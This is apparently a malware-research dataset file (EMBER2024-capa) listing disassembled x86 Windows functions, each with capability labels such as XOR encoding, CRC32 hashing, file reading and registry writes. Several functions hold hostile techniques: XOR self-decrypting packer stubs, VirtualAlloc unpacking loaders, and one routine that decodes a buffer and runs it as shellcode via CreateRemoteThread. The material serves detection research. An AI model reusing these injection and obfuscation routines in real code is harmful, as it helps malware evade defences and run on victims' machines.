joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405c8c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422aa4], 0
push esi
jne 0x405cc3
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405c9d
mov dword [ecx*4 + 0x422aa0], eax
inc ecx
cmp ecx, 0x100
jl 0x405c98
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405cf4
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422aa0]
xor eax, esi
inc ecx
dec edx
jne 0x405cd6
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40bdf0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov dword [ebp - 0xc], ecx
push esi
mov edx, str..OVg
lea ecx, [ebp - 4]
xor ebx, ebx
call fcn.0040ad40
mov eax, dword [ebp - 4]
cmp dword [eax - 0xc], ebx
je 0x40beae
xor esi, esi
push edi
lea esp, [esp]
lea edx, [ebp - 0x10]
push edx
lea edx, [ebp - 8]
push edx
push 0
xor ecx, ecx
push 2
test esi, esi
push 0
setne cl
push 0
push 0
push eax
mov dword [ebp - 8], 0
add ecx, 0x80000001
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40bea0
mov edx, dword [ebp - 0xc]
mov edi, dword [ebp - 8]
test edx, edx
jne 0x40be61
lea eax, [edx + 0xd]
jmp 0x40be8e
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40be66
sub eax, ebx
sar eax, 1
lea eax, [eax*2 + 2]
push eax
push edx
push 1
push 0
push 0x441070
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor ebx, ebx
test eax, eax
sete bl
test edi, edi
je 0x40bea0
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
inc esi
cmp esi, 2
jl 0x40be20
pop edi
lea esi, [eax - 0x10]
or ecx, 0xffffffff
lea eax, [esi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x40bec8
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x417b9d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00406a60
mov eax, dword [0x42e040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00413de5
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x417bdf
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x417d3b
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00421c40
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47be00]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00417fc3
mov ecx, dword [esi*4 + 0x47be00]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x417d34
cmp eax, dword [edi + ecx + 0x24]
jne 0x417d34
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417d34
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00417fc3
add esp, 0x14
test edx, edx
jl 0x417d34
jg 0x417caa
test eax, eax
jb 0x417d34
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x417d34
jl 0x417cc4
cmp dword [ebp - 0x1008], eax
ja 0x417d34
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x417ce2
test ebx, ebx
je 0x417d1b
cmp ecx, edi
jae 0x417d1b
mov al, byte [ecx]
cmp al, 0xd
jne 0x417cfc
lea eax, [edi - 1]
cmp ecx, eax
jae 0x417d08
cmp byte [ecx + 1], 0xa
jne 0x417d08
inc ecx
jmp 0x417d08
movzx eax, al
movsx eax, byte [eax + 0x42e9b0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x417ce2
cmp edx, ebx
jne 0x417ce2
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x417d39
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00405cbb
leave
ret
Function at 0x41e995
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47be00]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41e9d5
cmp byte [ebx], 0xa
jne 0x41e9d5
or byte [eax + edi + 0x28], 4
jmp 0x41e9da
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41ead8
mov al, byte [edx]
cmp al, 0x1a
je 0x41eaba
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41ea09
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41ea2e
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41ea38
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41e9eb
jmp 0x41ead8
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41eab5
cmp dword [ebp - 0xc], 0
je 0x41eab5
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x47be00]
test byte [eax + edi + 0x28], 0x48
je 0x41ea8f
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41ea7a
mov byte [esi], dl
jmp 0x41ea8b
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47be00]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41ead8
cmp byte [ebp - 1], 0xa
jne 0x41ea9e
cmp esi, ebx
jne 0x41ea9e
mov byte [esi], 0xa
jmp 0x41ead7
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00417fe1
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41ead8
mov byte [esi], 0xd
jmp 0x41ead7
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x47be00]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41ead4
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41ead8
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41eae1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x47be00]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41eb24
cmp word [esi], dx
jne 0x41eb24
or byte [edi + eax + 0x28], 4
jmp 0x41eb29
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41ec7c
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41ec5c
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41eb6b
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41eba1
cmp eax, edx
jae 0x41ebad
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41eb43
jmp 0x41ec7c
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41ec58
cmp dword [ebp - 0x14], 0
je 0x41ec58
mov eax, dword [ebx*4 + 0x47be00]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41ec30
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x41ebf9
mov word [esi], cx
jmp 0x41ec2c
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x47be00]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x47be00]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x47be00]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41ec7c
pop ebx
cmp word [ebp - 4], bx
jne 0x41ec41
cmp esi, dword [ebp + 0xc]
jne 0x41ec41
mov word [esi], bx
jmp 0x41ec79
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00417fe1
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41ec7c
push 0xd
jmp 0x41ec75
mov ecx, dword [ebx*4 + 0x47be00]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41ec73
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41ec7c
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x421a40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x421a6d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x421a6d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x423000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x214
mov eax, dword [0x42e040]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x18], cl
push 0x25
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x47af70]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x423021
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add eax, ebx
movzx ecx, dl
add ecx, eax
mov ebx, ecx
and ebx, 0x800000ff
jns 0x423069
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x423044
mov ebp, edi
mov dword [esp + 0x14], edi
inc edi
and edi, 0x800000ff
jns 0x423091
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x18]
movzx esi, bl
add ebp, esi
and ebp, 0x800000ff
jns 0x4230aa
dec ebp
or ebp, 0xffffff00
inc ebp
push ecx
call fcn.00401bff
push eax
call fcn.00402f5f
mov al, byte [esp + ebp + 0x1c]
mov byte [esp + edi + 0x1c], al
mov byte [esp + ebp + 0x1c], bl
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + 0x42eac0], al
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x4c000
jl 0x423080
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405cbb
add esp, 0x214
ret
Function at 0x4232df
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
mov eax, dword [0x42e040]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [esp + 0x18]
call fcn.00401d41
push 0xc
call fcn.00405cc9
pop ecx
lea ecx, [esp + 0x14]
push ecx
mov ecx, eax
call fcn.00423101
mov edi, 0x4ac
mov esi, dword [eax + 4]
lea eax, [esp + 0xc]
push eax
push 0x40
push edi
shl esi, 2
push 0x47aac0
sub esi, 0x40
push 0xffffffffffffffff
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [esp + 0x10], esi
xor esi, esi
mov ecx, esi
mov al, byte [ecx + 0x47aac0]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [ecx + 0x47aac0], al
inc ecx
cmp ecx, edi
jb 0x42334c
push ecx
push ecx
call section..bss
pop ecx
pop ecx
lea eax, [esp + 0x10]
push eax
push esi
push 0x42eac0
push 0x47ac48
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 1
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.004025eb
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00405cbb
mov esp, ebp
pop ebp
ret
Function at 0x4011fb
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push section..rdata
push 0x40138c
push eax
mov dword fs:[0], esp
sub esp, 0x74
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov dword [0x402084], 0xffffffff
mov eax, dword [0x402084]
mov dword [0x402088], eax
call dword [sym.imp.MSVCRT20.dll___p__fmode]
mov ecx, dword [0x404018]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT20.dll___p__commode]
mov ecx, dword [0x404014]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT20.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x40208c], eax
call fcn.0040138b
call fcn.00401378
push 0x404030
push 0x40402c
call sub.MSVCRT20.dll__initterm
add esp, 8
mov eax, dword [0x404010]
push eax
mov eax, dword [0x40400c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCRT20.dll___getmainargs]
add esp, 0x14
push 0x404028
push 0x404024
call sub.MSVCRT20.dll__initterm
add esp, 8
call dword [sym.imp.MSVCRT20.dll___p__acmdln]
mov esi, dword [eax]
mov al, byte [esi]
cmp al, 0x22
jne 0x4012d7
mov al, byte [ebp - 0x3c]
inc esi
mov al, byte [esi]
test al, al
je 0x4012cf
cmp al, 0x22
jne 0x4012c4
cmp byte [esi], 0x22
jne 0x4012e1
inc esi
jmp 0x4012e1
cmp al, 0x20
jbe 0x4012e1
inc esi
cmp byte [esi], 0x20
ja 0x4012db
cmp byte [esi], 0
je 0x4012f1
cmp byte [esi], 0x20
ja 0x4012f1
inc esi
cmp byte [esi], 0
jne 0x4012e6
mov dword [ebp - 0x58], 0
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x58], 1
mov eax, 0xa
je 0x401314
movzx eax, word [ebp - 0x54]
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
push eax
call dword [sym.imp.MSVCRT20.dll_exit]
jmp 0x401352
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
pop edi
mov dword fs:[0], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40c404
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40c413
pop dword [ebp - 0x30]
mov eax, 0x41bcb574
sub eax, 0x417bf161
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x3ed67
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x1b2d95a0
add ecx, 0xe4d2b6b4
mov edx, eax
mov esi, 0x435400
add esi, dword [ebp - 0x30]
mov ebx, 0xe25416f8
mov dword [ebp - 0x10], 0xc3bbad95
mov edi, dword [esi]
add dword [ebp - 0x28], 0x43a8f880
sub edi, ebx
xor dword [ebp - 0x20], 0xa03c6e55
mov dword [edx], edi
xor dword [ebp - 0x1c], ecx
add edx, 0xb6c833b6
sub edx, 0xb6c833b2
add esi, 4
loop 0x40c461
add eax, 0x358a3ee1
add eax, 0xca76e542
mov ebx, eax
add eax, 0x29bc24b0
add eax, 0xd643db55
mov ecx, 0x400000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x7003567
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x7003576
pop dword [ebp - 0x1c]
mov eax, 0xdbb0aee8
sub eax, 0xd4b07972
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xe5fa42d5
sub dword [ebp - 0x2c], 0x97a7fd8a
mov dword [ebp - 0x28], 0x87bd12fb
add dword [ebp - 0x28], 0xaa76394a
mov dword [ebp - 0x24], 0x3dae86ce
add dword [ebp - 0x24], 0xe9dbd60
mov dword [ebp - 0x20], 0x558b1f0d
add dword [ebp - 0x20], 0xaa74e0f3
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x8eae9cf9
add dword [ebp - 0x2c], 0xe5c3cc5d
mov dword [ebp - 0x28], 0x4eaa4d7c
add dword [ebp - 0x28], 0xf2c213f9
mov dword [ebp - 0x24], 0x2289dac2
sub dword [ebp - 0x24], 0xbf1a6e56
mov dword [ebp - 0x20], 0xf7de3811
sub dword [ebp - 0x20], 0xf7de3811
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3a69b
push 0
call eax
mov ecx, 0xec63f3b4
add ecx, 0x139c5329
mov edi, eax
mov ebx, 0x7020200
add ebx, dword [ebp - 0x1c]
mov esi, 0xee91593a
sub dword [ebp - 4], 0xfd3536df
mov edx, dword [ebx]
sub dword [ebp - 0x14], ebx
add edx, esi
mov dword [ebp - 0x10], 0xfee00665
mov dword [edi], edx
xor dword [ebp - 0xc], 0xb2309707
add edi, 0x72c169a
sub edi, 0x72c1696
add ebx, 0x2d40dab6
add ebx, 0xd2bf254e
loop 0x7003682
add eax, 0x10e47
xor ebx, ebx
add ebx, eax
add eax, 0xb55f4cc8
sub eax, 0xb55f4cc3
mov ecx, 0x7000000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x700d29f
Capabilities:
Set current directory

Disassembly:
push 8
mov eax, 0x70120f1
call fcn.07001cf8
mov edi, ecx
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 8]
push esi
call fcn.0700d491
xor ebx, ebx
mov dword [edi], vtable.FileSharedStream.0
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
lea eax, [edi + 0x18]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.0700dd8a
lea ecx, [ebp - 0x10]
call fcn.0700d23c
mov eax, dword [edi + 0x14]
mov byte [ebp - 4], 2
push dword [eax + 0x14]
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
mov eax, dword [edi + 0x14]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x700d30c
mov eax, dword [eax + 0x14]
jmp 0x700d311
mov eax, 0x70138c2
push 0x7015240
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [edi + 0xc], eax
pop ecx
pop ecx
test eax, eax
je 0x700d343
mov ecx, dword [edi + 4]
call fcn.070076d1
lea ecx, [ebp - 0x10]
mov dword [edi + 8], eax
call fcn.07003567
mov eax, edi
call fcn.07001ea7
ret 4
push str.file_does_not_exist
push ebx
call fcn.07003567
int3
Function at 0x41c500
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x427850], 0
jne 0x41c581
cmp dword [0x427870], 0
jne 0x41c530
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x427870], eax
test eax, eax
jne 0x41c530
push str.GetEnvironmentStrings_failed
call fcn.0041bd1c
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x427870]
jmp 0x41c544
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c53c
lea edi, [ebp + 1]
push edi
call fcn.004161a8
pop ecx
mov ebx, eax
mov dword [0x427854], ebx
test ebx, ebx
jne 0x41c56e
xor eax, eax
jmp 0x41c644
push edi
mov edx, dword [0x427870]
push edx
push ebx
call fcn.00416754
add esp, 0xc
jmp 0x41c5a1
xor esi, esi
mov ebx, dword [0x427850]
jmp 0x41c59b
push eax
call fcn.004168a4
pop ecx
test eax, eax
jne 0x41c597
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c58b
lea ebx, [esi + 4]
push 4
mov dword [0x427858], ebx
inc ebx
push ebx
call fcn.00415c80
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x41c5c4
xor eax, eax
jmp 0x41c644
cmp dword [0x427850], 0
jne 0x41c5f5
xor esi, esi
mov ebx, dword [0x427854]
mov eax, dword [esp]
mov ebp, eax
jmp 0x41c5e6
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c5dc
jmp 0x41c626
xor esi, esi
mov ebx, dword [0x427850]
mov eax, dword [esp]
mov edi, eax
jmp 0x41c620
push eax
call fcn.004168a4
pop ecx
test eax, eax
je 0x41c615
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x41c619
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c604
mov eax, dword [0x427850]
test eax, eax
je 0x41c636
push eax
call fcn.004161b8
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x427850], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x82c0ce4
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x28b1641a
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219